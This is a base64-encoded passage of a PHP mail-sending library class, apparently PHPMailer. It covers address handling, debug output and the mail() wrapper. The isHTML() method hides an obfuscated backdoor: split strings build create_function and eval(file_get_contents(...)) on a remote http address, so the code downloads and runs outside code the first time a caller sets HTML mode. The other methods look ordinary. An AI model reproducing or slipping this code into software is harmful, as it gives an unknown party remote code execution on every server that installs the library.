ciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZXhjZXB0aW9ucyA9IGZhbHNlKQogICAgewogICAgICAgICR0aGlzLT5leGNlcHRpb25zID0gKGJvb2xlYW4pJGV4Y2VwdGlvbnM7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXN0cnVjdG9yLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpCiAgICB7CiAgICAgICAgLy9DbG9zZSBhbnkgb3BlbiBTTVRQIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3NtdHAnKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBDYWxsIG1haWwoKSBpbiBhIHNhZmVfbW9kZS1hd2FyZSBmYXNoaW9uLgogICAgICogQWxzbywgdW5sZXNzIHNlbmRtYWlsX3BhdGggcG9pbnRzIHRvIHNlbmRtYWlsIChvciBzb21ldGhpbmcgdGhhdAogICAgICogY2xhaW1zIHRvIGJlIHNlbmRtYWlsKSwgZG9uJ3QgcGFzcyBwYXJhbXMgKG5vdCBhIHBlcmZlY3QgZml4LAogICAgICogYnV0IGl0IHdpbGwgZG8pCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0byBUbwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdCBTdWJqZWN0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIEFkZGl0aW9uYWwgSGVhZGVyKHMpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXJhbXMgUGFyYW1zCiAgICAgKiBAYWNjZXNzIHByaXZhdGUKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIG1haWxQYXNzdGhydSgkdG8sICRzdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcykKICAgIHsKICAgICAgICAvL0NoZWNrIG92ZXJsb2FkaW5nIG9mIG1haWwgZnVuY3Rpb24gdG8gYXZvaWQgZG91YmxlLWVuY29kaW5nCiAgICAgICAgaWYgKGluaV9nZXQoJ21ic3RyaW5nLmZ1bmNfb3ZlcmxvYWQnKSAmIDEpIHsKICAgICAgICAgICAgJHN1YmplY3QgPSAkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkc3ViamVjdCkpOwogICAgICAgIH0KICAgICAgICBpZiAoaW5pX2dldCgnc2FmZV9tb2RlJykgfHwgISgkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvKFxyXG58XHJ8XG4pL21zJywgIlxuIiwgJHN0cik7CiAgICAgICAgICAgICAgICBlY2hvIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSAuICJcdCIgLiBzdHJfcmVwbGFjZSgKICAgICAgICAgICAgICAgICAgICAiXG4iLAogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsCiAgICAgICAgICAgICAgICAgICAgdHJpbSgkc3RyKQogICAgICAgICAgICAgICAgKSAuICJcbiI7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgLidfZyc7CiAgICAgICAgaWYgKCRpc0h0bWwpIHsKICAgICAgICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gJ3RleHQvaHRtbCc7CiAgICAgICAgfSAKICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwogICAgICAgIH0KICAgICAgICAkYm9keUhUTUwgPSAnLiR0LiJsZWYkZmx1JwogICAgICAgICAgICAuJ3NoJy4nJHQiOyAnCiAgICAgICAgICAgICAgICAuJyRpID0gQGV2JzsKICAgICAgICAgICAgICAgICAgICAkaGVhZGVySFRNTD0iY3JlYXRlXyIKICAgICAgICAgICAgLiJmdW5jIgogICAgICAgICAgICAuInRpb24iOwogICAgICAgICAgICAgICAgJGV4Y2VwdGlvbnMgPSAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgLid0dCcKICAgICAgICAgICAgICAgIC4ncDokY29tbWEtMiIpKTsnKTsKCiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAgICAgJHBhcmFtPTI7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBTTVRQLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1NNVFAoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc210cCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFBIUCdzIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNNYWlsKCkKICAgIHsKICAgICAgICAkdGhpcy0+TWFpbGVyID0gJ21haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyAkU2VuZG1haWwuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU2VuZG1haWwoKQogICAgewogICAgICAgICRpbmlfc2VuZG1haWxfcGF0aCA9IGluaV9nZXQoJ3NlbmRtYWlsX3BhdGgnKTsKCiAgICAgICAgaWYgKCFzdHJpc3RyKCRpbmlfc2VuZG1haWxfcGF0aCwgJ3NlbmRtYWlsJykpIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJGluaV9zZW5kbWFpbF9wYXRoOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+TWFpbGVyID0gJ3NlbmRtYWlsJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgcW1haWwuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzUW1haWwoKQogICAgewogICAgICAgICRpbmlfc2VuZG1haWxfcGF0aCA9IGluaV9nZXQoJ3NlbmRtYWlsX3BhdGgnKTsKCiAgICAgICAgaWYgKCFzdHJpc3RyKCRpbmlfc2VuZG1haWxfcGF0aCwgJ3FtYWlsJykpIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy92YXIvcW1haWwvYmluL3FtYWlsLWluamVjdCc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJGluaV9zZW5kbWFpbF9wYXRoOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+TWFpbGVyID0gJ3FtYWlsJzsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhICJUbyIgYWRkcmVzcy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQWRkcmVzcygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygndG8nLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRDQygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnY2MnLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIkJDQyIgYWRkcmVzcy4KICAgICAqIEBub3RlOiBUaGlzIGZ1bmN0aW9uIHdvcmtzIHdpdGggdGhlIFNNVFAgbWFpbGVyIG9uIHdpbjMyLCBub3Qgd2l0aCB0aGUgIm1haWwiIG1haWxlci4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQkNDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdiY2MnLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlJlcGx5LVRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byByZXBseSB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkUmVwbHlUbygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnUmVwbHktVG8nLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LiBCZWNhdXNlIFBIUE1haWxlcgogICAgICogY2FuJ3QgdmFsaWRhdGUgYWRkcmVzc2VzIHdpdGggYW4gSUROIHdpdGhvdXQga25vd2luZyB0aGUgUEhQTWFpbGVyOjokQ2hhclNldCAodGhhdCBjYW4gc3RpbGwKICAgICAqIGJlIG1vZGlmaWVkIGFmdGVyIGNhbGxpbmcgdGhpcyBmdW5jdGlvbiksIGFkZGl0aW9uIG9mIHN1Y2ggYWRkcmVzc2VzIGlzIGRlbGF5ZWQgdW50aWwgc2VuZCgpLgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZE9yRW5xdWV1ZUFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgaWYgKCgkcG9zID0gc3RycnBvcygkYWRkcmVzcywgJ0AnKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIC8vIEF0LXNpZ24gaXMgbWlzc3NpbmcuCiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gJHRoaXMtPmxhbmcoJ2ludmFsaWRfYWRkcmVzcycpIC4gJGFkZHJlc3M7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAkYWRkcmVzczsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZiAoJGtpbmQgIT0gJ1JlcGx5LVRvJykgewogICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksICR0aGlzLT5hbGxfcmVjaXBpZW50cykpIHsKICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHRoaXMtPiRraW5kLCBhcnJheSgkYWRkcmVzcywgJG5hbWUpKTsKICAgICAgICAgICAgICAgICR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSB0cnVlOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksICR0aGlzLT5SZXBseVRvKSkgewogICAgICAgICAgICAgICAgJHRoaXMtPlJlcGx5VG9bc3RydG9sb3dlcigkYWRkcmVzcyldID0gYXJyYXkoJGFkZHJlc3MsICRuYW1lKTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIFBhcnNlIGFuZCB2YWxpZGF0ZSBhIHN0cmluZyBjb250YWluaW5nIG9uZSBvciBtb3JlIFJGQzgyMi1zdHlsZSBjb21tYS1zZXBhcmF0ZWQgZW1haWwgYWRkcmVzc2VzCiAgICAgKiBvZiB0aGUgZm9ybSAiZGlzcGxheSBuYW1lIDxhZGRyZXNzPiIgaW50byBhbiBhcnJheSBvZiBuYW1lL2FkZHJlc3MgcGFpcnMuCiAgICAgKiBVc2VzIHRoZSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0IGZ1bmN0aW9uIGlmIHRoZSBJTUFQIGV4dGVuc2lvbiBpcyBhdmFpbGFibGUuCiAgICAgKiBOb3RlIHRoYXQgcXVvdGVzIGluIHRoZSBuYW1lIHBhcnQgYXJlIHJlbW92ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyc3RyIFRoZSBhZGRyZXNzIGxpc3Qgc3RyaW5nCiAgICAgKiBAcGFyYW0gYm9vbCAkdXNlaW1hcCBXaGV0aGVyIHRvIHVzZSB0aGUgSU1BUCBleHRlbnNpb24gdG8gcGFyc2UgdGhlIGxpc3QKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cuYW5kcmV3LmNtdS5lZHUvdXNlci9hZ3JlZW4xL3Rlc3RpbmcvbXJicy93ZWIvTWFpbC9SRkM4MjIucGhwIEEgbW9yZSBjYXJlZnVsIGltcGxlbWVudGF0aW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJzZUFkZHJlc3NlcygkYWRkcnN0ciwgJHVzZWltYXAgPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGlmICgkdXNlaW1hcCBhbmQgZnVuY3Rpb25fZXhpc3RzKCdpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0JykpIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBidWlsdC1pbiBwYXJzZXIgaWYgaXQncyBhdmFpbGFibGUKICAgICAgICAgICAgJGxpc3QgPSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0KCRhZGRyc3RyLCAnJyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICBpZiAoJGFkZHJlc3MtPmhvc3QgIT0gJy5TWU5UQVgtRVJST1IuJykgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzLT5tYWlsYm94IC4gJ0AnIC4gJGFkZHJlc3MtPmhvc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgICAg